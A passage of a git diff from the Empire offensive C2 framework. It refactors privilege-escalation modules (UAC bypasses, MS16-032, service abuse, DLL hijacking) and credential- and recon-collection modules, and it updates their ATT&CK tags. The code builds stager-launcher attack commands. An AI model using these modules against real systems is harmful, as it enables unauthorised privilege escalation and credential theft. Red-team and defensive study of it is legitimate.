listener_name) # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagergenv2.generate_launcher( @@ -49,12 +43,7 @@ def generate( encScript = launcher.split(" ")[-1] if launcher == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") script_end = f'Invoke-EventVwrBypass -Command "{encScript}"' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py index 1805af289..d255b3f93 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py +++ b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py @@ -1,26 +1,21 @@ from empire.server.common.empire import MainMenu from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - raise ModuleValidationException(err) - command_param = params.get("Command", "") listener_name = params.get("Listener", "") language = params.get("Language", "powershell") @@ -85,9 +80,4 @@ def generate( script_end = f'Invoke-FodHelperBypass -Command "{enc_script}";`nInvoke-FodHelperBypass completed!' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py index a4c0cc869..3231777fc 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py +++ b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py @@ -1,16 +1,20 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # staging options listener_name = params["Listener"] @@ -20,19 +24,9 @@ def generate( launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagergenv2.generate_launcher( @@ -49,12 +43,7 @@ def generate( enc_script = launcher.split(" ")[-1] if launcher == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") script_end = f'Invoke-SDCLTBypass -Command "{enc_script}"' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py index a36e42383..13034c650 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py +++ b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py @@ -3,33 +3,26 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # options stager = params["Stager"] host = params["Host"] port = params["Port"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - try: blank_command = "" powershell_command = "" @@ -54,9 +47,4 @@ def generate( f'Invoke-BypassUACTokenManipulation -Arguments "-w 1 -enc {encoded_cradle}"' ) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/privesc/bypassuac_wscript.py b/empire/server/modules/powershell/privesc/bypassuac_wscript.py index 2787ae176..46798f60c 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_wscript.py +++ b/empire/server/modules/powershell/privesc/bypassuac_wscript.py @@ -1,16 +1,20 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # staging options listener_name = params["Listener"] @@ -20,19 +24,9 @@ def generate( launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagergenv2.generate_launcher( @@ -48,12 +42,7 @@ def generate( ) if launcher == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") script_end = f'Invoke-WScriptBypassUAC -payload "{launcher}"' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/privesc/ms16-032.py b/empire/server/modules/powershell/privesc/ms16-032.py index 6eb0f1b9a..3908b244e 100644 --- a/empire/server/modules/powershell/privesc/ms16-032.py +++ b/empire/server/modules/powershell/privesc/ms16-032.py @@ -1,27 +1,20 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - # generate the launcher code without base64 encoding listener_name = params["Listener"] user_agent = params["UserAgent"] @@ -43,9 +36,4 @@ def generate( script_end = 'Invoke-MS16-032 "' + launcher_code + '"' script_end += ';"`nInvoke-MS16032 completed."' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/privesc/ms16-135.py b/empire/server/modules/powershell/privesc/ms16-135.py index 8a3d957ba..c00caf346 100644 --- a/empire/server/modules/powershell/privesc/ms16-135.py +++ b/empire/server/modules/powershell/privesc/ms16-135.py @@ -1,27 +1,20 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - # generate the launcher code without base64 encoding listener_name = params["Listener"] user_agent = params["UserAgent"] @@ -43,9 +36,4 @@ def generate( script_end = 'Invoke-MS16135 -Command "' + launcher_code + '"' script_end += ';"`nInvoke-MS16135 completed."' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py index 97b37b29c..bc313f0b9 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py +++ b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py @@ -1,27 +1,21 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - service_name = params["ServiceName"] # # get just the code needed for the specified function @@ -50,7 +44,7 @@ def generate( script_end += '"Launcher bat written to $tempLoc `n";\n' if launcher_code == "": - return handle_error_message("[!] Error in launcher .bat generation.") + raise ModuleValidationException("Error in launcher .bat generation.") script_end += ( '\nInstall-ServiceBinary -ServiceName "' @@ -58,9 +52,4 @@ def generate( + '" -Command "C:\\Windows\\System32\\cmd.exe /C $tempLoc"' ) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/privesc/powerup/service_stager.py b/empire/server/modules/powershell/privesc/powerup/service_stager.py index 886baa124..6948c2679 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_stager.py +++ b/empire/server/modules/powershell/privesc/powerup/service_stager.py @@ -1,27 +1,21 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - # extract all of our options service_name = params["ServiceName"] @@ -41,7 +35,7 @@ def generate( script_end += '"Launcher bat written to $tempLoc `n";\n' if launcher_code == "": - return handle_error_message("[!] Error in launcher .bat generation.") + raise ModuleValidationException("Error in launcher .bat generation.") script_end += ( 'Invoke-ServiceAbuse -ServiceName "' @@ -49,9 +43,4 @@ def generate( + '" -Command "C:\\Windows\\System32\\cmd.exe /C `"$env:Temp\\debug.bat`""' ) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/privesc/powerup/service_useradd.yaml b/empire/server/modules/powershell/privesc/powerup/service_useradd.yaml index 23cef2065..de339053f 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_useradd.yaml +++ b/empire/server/modules/powershell/privesc/powerup/service_useradd.yaml @@ -23,7 +23,7 @@ description: | requirements. This approach is based on the PowerUp toolkit and represents a sophisticated method of service-based privilege escalation. software: S0194 -tactics: [TA0004] +tactics: [TA0004, TA0003] techniques: [T1543.003, T1136.001, T1068] background: true output_extension: diff --git a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py index 964583f81..42feea0fa 100644 --- a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py +++ b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py @@ -1,16 +1,20 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # staging options launcher_obfuscate = params["Obfuscate"].lower() == "true" @@ -18,16 +22,6 @@ def generate( module_name = "Write-HijackDll" - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = ";" + module_name + " " # extract all of our options @@ -50,7 +44,7 @@ def generate( ) if launcher == "": - return handle_error_message("[!] Error in launcher command generation.") + raise ModuleValidationException("Error in launcher command generation.") out_file = params["DllPath"] script_end += f' -Command "{launcher}"' @@ -64,9 +58,4 @@ def generate( + ' completed!"' ) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/privesc/printnightmare.yaml b/empire/server/modules/powershell/privesc/printnightmare.yaml index 33c07cfac..519d9633b 100644 --- a/empire/server/modules/powershell/privesc/printnightmare.yaml +++ b/empire/server/modules/powershell/privesc/printnightmare.yaml @@ -13,7 +13,9 @@ description: | controls and gain elevated privileges on the target system. software: '' tactics: [TA0004] -techniques: [T1068] +techniques: + - T1068 + - T1136.001 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/powershell/privesc/sweetpotato.yaml b/empire/server/modules/powershell/privesc/sweetpotato.yaml index e7f4384ef..8a897115f 100644 --- a/empire/server/modules/powershell/privesc/sweetpotato.yaml +++ b/empire/server/modules/powershell/privesc/sweetpotato.yaml @@ -15,7 +15,7 @@ description: | code with the highest privileges. Supports multiple exploitation methods and can spawn custom processes or PowerShell stagers. software: '' -tactics: [TA0004] +tactics: [TA0004, TA0006] techniques: [T1068, T1187] background: false output_extension: '' diff --git a/empire/server/modules/powershell/privesc/tater.yaml b/empire/server/modules/powershell/privesc/tater.yaml index 4d37533c4..0aefbf6da 100644 --- a/empire/server/modules/powershell/privesc/tater.yaml +++ b/empire/server/modules/powershell/privesc/tater.yaml @@ -12,7 +12,7 @@ description: | authentication fallback mechanisms and can bypass certain security controls to gain elevated privileges. software: '' -tactics: [TA0004] +tactics: [TA0004, TA0006] techniques: [T1068, T1187] background: true output_extension: diff --git a/empire/server/modules/powershell/situational_awareness/host/ChromeDump.yaml b/empire/server/modules/powershell/situational_awareness/host/ChromeDump.yaml index a056ed4ed..865fe176f 100644 --- a/empire/server/modules/powershell/situational_awareness/host/ChromeDump.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/ChromeDump.yaml @@ -9,7 +9,7 @@ description: | to search for specific data within the browser. software: '' tactics: [TA0006] -techniques: [T1555.03] +techniques: [T1555.003] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/host/FoxDump.yaml b/empire/server/modules/powershell/situational_awareness/host/FoxDump.yaml index 5b7b82e25..9e9a4cbee 100644 --- a/empire/server/modules/powershell/situational_awareness/host/FoxDump.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/FoxDump.yaml @@ -12,7 +12,7 @@ description: | master password has been set. software: '' tactics: [TA0006] -techniques: [T1555.03] +techniques: [T1555.003] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/host/SharpChromium.yaml b/empire/server/modules/powershell/situational_awareness/host/SharpChromium.yaml index 7f019edcb..28f5b3721 100644 --- a/empire/server/modules/powershell/situational_awareness/host/SharpChromium.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/SharpChromium.yaml @@ -13,7 +13,7 @@ description: | passwords, session cookies, autofill data, and browsing history with timestamps. software: '' tactics: [TA0006, TA0007] -techniques: [T1503.003, T1217] +techniques: [T1217, T1555.003] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/host/clipboard_monitor.yaml b/empire/server/modules/powershell/situational_awareness/host/clipboard_monitor.yaml index 871c51214..ae0765ce3 100644 --- a/empire/server/modules/powershell/situational_awareness/host/clipboard_monitor.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/clipboard_monitor.yaml @@ -8,7 +8,7 @@ description: | system. Helpful in tracking copied passwords or sensitive data used during a session. software: '' -tactics: [TA0009] +tactics: [TA0009, TA0007] techniques: [T1115, T1082] background: true output_extension: diff --git a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py index b20b72320..5036c8951 100644 --- a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py +++ b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py @@ -1,27 +1,20 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "" outputf = params.get("OutputFunction", "Out-String") @@ -30,60 +23,35 @@ def generate( script_end += 'Write-Output "Event ID 4624 (Logon):`n";' script_end += "Write-Output $Filtered4624.Values" script_end += f" | {outputf}" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end if params["4648"].lower() == "true": script_end += "$SecurityLog = Get-EventLog -LogName Security; $Filtered4648 = Find-4648Logons $SecurityLog;" script_end += 'Write-Output "Event ID 4648 (Explicit Credential Logon):`n";' script_end += "Write-Output $Filtered4648.Values" script_end += f" | {outputf}" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end if params["AppLocker"].lower() == "true": script_end += "$AppLockerLogs = Find-AppLockerLogs;" script_end += 'Write-Output "AppLocker Process Starts:`n";' script_end += "Write-Output $AppLockerLogs.Values" script_end += f" | {outputf}" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end if params["PSScripts"].lower() == "true": script_end += "$PSLogs = Find-PSScriptsInPSAppLog;" script_end += 'Write-Output "PowerShell Script Executions:`n";' script_end += "Write-Output $PSLogs.Values" script_end += f" | {outputf}" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end if params["SavedRDP"].lower() == "true": script_end += "$RdpClientData = Find-RDPClientConnections;" script_end += 'Write-Output "RDP Client Data:`n";' script_end += "Write-Output $RdpClientData.Values" script_end += f" | {outputf}" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end script_end += "Get-ComputerDetails -Limit " + str(params["Limit"]) if outputf == "Out-String": @@ -101,9 +69,4 @@ def generate( + ' completed!"' ) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/situational_awareness/host/fetch_brute_local.py b/empire/server/modules/powershell/situational_awareness/host/fetch_brute_local.py index 0c0d4eb87..3060fd014 100644 --- a/empire/server/modules/powershell/situational_awareness/host/fetch_brute_local.py +++ b/empire/server/modules/powershell/situational_awareness/host/fetch_brute_local.py @@ -1,16 +1,19 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): Passlist = params["Passlist"] Verbose = params["Verbose"] @@ -18,16 +21,6 @@ def generate( Loginacc = params["Loginacc"] Loginpass = params["Loginpass"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = " Fetch-Brute" if len(ServerType) >= 1: script_end += " -st " + ServerType @@ -39,9 +32,4 @@ def generate( if len(Loginpass) >= 1: script_end += " -lpass " + Loginpass - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/situational_awareness/host/file_finder.yaml b/empire/server/modules/powershell/situational_awareness/host/file_finder.yaml index eac53bf8c..6319e4789 100644 --- a/empire/server/modules/powershell/situational_awareness/host/file_finder.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/file_finder.yaml @@ -12,7 +12,7 @@ description: | access times, and write permissions. Can target specific computers or perform domain-wide searches with threading capabilities for efficient reconnaissance across large networks. software: '' -tactics: [TA0007] +tactics: [TA0007, TA0009] techniques: [T1083, T1135, T1039] background: true output_extension: diff --git a/empire/server/modules/powershell/situational_awareness/host/find_fruit.py b/empire/server/modules/powershell/situational_awareness/host/find_fruit.py index 5a90cae70..71928da56 100644 --- a/empire/server/modules/powershell/situational_awareness/host/find_fruit.py +++ b/empire/server/modules/powershell/situational_awareness/host/find_fruit.py @@ -1,27 +1,20 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "\nFind-Fruit" show_all = params["ShowAll"].lower() @@ -54,9 +47,4 @@ def generate( + ' completed!"' ) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/situational_awareness/host/find_interesting_file.yaml b/empire/server/modules/powershell/situational_awareness/host/find_interesting_file.yaml index 92b34c1e2..e86ffb73a 100644 --- a/empire/server/modules/powershell/situational_awareness/host/find_interesting_file.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/find_interesting_file.yaml @@ -12,7 +12,7 @@ description: | files and folders, and provides detailed file information including ownership, timestamps, and file sizes for discovered sensitive data. software: '' -tactics: [TA0007] +tactics: [TA0007, TA0009] techniques: [T1083, T1135, T1039] background: true output_extension: diff --git a/empire/server/modules/powershell/situational_awareness/host/get-winupdates.yaml b/empire/server/modules/powershell/situational_awareness/host/get-winupdates.yaml index ea8fb9483..d65c5f8fc 100644 --- a/empire/server/modules/powershell/situational_awareness/host/get-winupdates.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/get-winupdates.yaml @@ -14,7 +14,7 @@ description: | and update titles. Requires administrative privileges and can target local or remote systems. software: '' -tactics: [TA0009] +tactics: [TA0009, TA0007] techniques: [T1082] background: true output_extension: diff --git a/empire/server/modules/powershell/situational_awareness/host/get_pathacl.yaml b/empire/server/modules/powershell/situational_awareness/host/get_pathacl.yaml index c2127c2e4..9861ead26 100644 --- a/empire/server/modules/powershell/situational_awareness/host/get_pathacl.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/get_pathacl.yaml @@ -11,7 +11,7 @@ description: | identifying misconfigured permissions, understanding security boundaries, and finding paths where the current user has elevated access. Essential for privilege escalation planning and understanding the security posture of critical system directories and files.software: '' -tactics: [TA0007] +tactics: [TA0007, TA0002] techniques: [T1083, T1106] background: true output_extension: diff --git a/empire/server/modules/powershell/situational_awareness/host/get_sql_column_sample_data.py b/empire/server/modules/powershell/situational_awareness/host/get_sql_column_sample_data.py index 97ec02041..a4aa187b9 100644 --- a/empire/server/modules/powershell/situational_awareness/host/get_sql_column_sample_data.py +++ b/empire/server/modules/powershell/situational_awareness/host/get_sql_column_sample_data.py @@ -20,29 +20,26 @@ def generate( script_end = "" # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( + script, _err = main_menu.modulesv2.get_module_source( module_name="collection/Get-SQLColumnSampleData.ps1", obfuscate=obfuscate, obfuscate_command=obfuscation_command, ) if check_all: - aux_module_source = main_menu.modulesv2.get_module_source( + aux_script, aux_err = main_menu.modulesv2.get_module_source( module_name="situational_awareness/network/Get-SQLInstanceDomain.ps1", obfuscate=obfuscate, obfuscate_command=obfuscation_command, ) - try: - with open(aux_module_source) as auxSource: - aux_script = auxSource.read() - script += " " + aux_script - except Exception: + if aux_err: print( helpers.color( - "[!] Could not read additional module source path at: " - + str(aux_module_source) + "[!] Could not read additional module source: " + str(aux_err) ) ) + else: + script += " " + aux_script script_end = " Get-SQLInstanceDomain " if username != "": script_end += " -Username " + username diff --git a/empire/server/modules/powershell/situational_awareness/host/minidump.yaml b/empire/server/modules/powershell/situational_awareness/host/minidump.yaml index 9b72c7d14..ada9bf190 100644 --- a/empire/server/modules/powershell/situational_awareness/host/minidump.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/minidump.yaml @@ -13,7 +13,7 @@ description: | or processes from other users. software: '' tactics: [TA0006, TA0007] -techniques: [T1003, T1555.03] +techniques: [T1003, T1555.003] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/host/netripper.yaml b/empire/server/modules/powershell/situational_awareness/host/netripper.yaml index 872002dd3..1f0487a10 100644 --- a/empire/server/modules/powershell/situational_awareness/host/netripper.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/netripper.yaml @@ -14,8 +14,8 @@ description: Injects NetRipper into targeted processes, which uses API hooking i privileged user, being able to capture both plain-text traffic and encrypted traffic before encryption/after decryption. software: '' -tactics: [TA0006, TA0009] -techniques: [T1056.004, T11638, T1055, T1040] +tactics: [TA0006, TA0009, TA0004, TA0005] +techniques: [T1040, T1055, T1056.004] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/host/ninjacopy.yaml b/empire/server/modules/powershell/situational_awareness/host/ninjacopy.yaml index 4fbd86ada..57975c21a 100644 --- a/empire/server/modules/powershell/situational_awareness/host/ninjacopy.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/ninjacopy.yaml @@ -13,7 +13,7 @@ description: | registry hives, or other sensitive files that are actively in use by the system. Requires administrative privileges to access raw volume data. software: '' -tactics: [TA0006, TA0005] +tactics: [TA0006, TA0005, TA0009] techniques: [T1003.003, T1005, T1006] background: true output_extension: diff --git a/empire/server/modules/powershell/situational_awareness/host/packet_capture.yaml b/empire/server/modules/powershell/situational_awareness/host/packet_capture.yaml index a9d251f59..645c86cd3 100644 --- a/empire/server/modules/powershell/situational_awareness/host/packet_capture.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/packet_capture.yaml @@ -18,7 +18,7 @@ description: | protocol headers, and payload data. Requires administrative privileges to access network diagnostic capabilities. software: '' -tactics: [TA0009] +tactics: [TA0009, TA0006, TA0007] techniques: [T1040] background: false output_extension: diff --git a/empire/server/modules/powershell/situational_awareness/host/paranoia.yaml b/empire/server/modules/powershell/situational_awareness/host/paranoia.yaml index add502b89..b126aa2c2 100644 --- a/empire/server/modules/powershell/situational_awareness/host/paranoia.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/paranoia.yaml @@ -12,7 +12,7 @@ description: | be lacking. Information gathered includes installed security software, monitoring agents, and security configuration settings. software: '' -tactics: [TA0005] +tactics: [TA0005, TA0003, TA0004, TA0007] techniques: [T1057, T1546] background: true output_extension: diff --git a/empire/server/modules/powershell/situational_awareness/host/powerup/allchecks.yaml b/empire/server/modules/powershell/situational_awareness/host/powerup/allchecks.yaml index f5576e8d8..32d57ba79 100644 --- a/empire/server/modules/powershell/situational_awareness/host/powerup/allchecks.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/powerup/allchecks.yaml @@ -22,7 +22,7 @@ description: | on the PowerUp toolkit developed by @harmj0y and provides detailed output that can be used to plan targeted privilege escalation attacks. software: S0194 -tactics: [TA0007] +tactics: [TA0007, TA0004] techniques: [T1068, T1082] background: true output_extension: diff --git a/empire/server/modules/powershell/situational_awareness/host/powerup/find_dllhijack.yaml b/empire/server/modules/powershell/situational_awareness/host/powerup/find_dllhijack.yaml index 37af374e1..e8efb8954 100644 --- a/empire/server/modules/powershell/situational_awareness/host/powerup/find_dllhijack.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/powerup/find_dllhijack.yaml @@ -23,7 +23,7 @@ description: | the target process, missing DLL, and the location where a malicious DLL could be placed. software: S0194 -tactics: [TA0007] +tactics: [TA0007, TA0003, TA0004, TA0005] techniques: [T1087.001, T1574.001, T1574.007, T1574.008, T1574.009, T1057, T1012, T1068, T1082] background: true diff --git 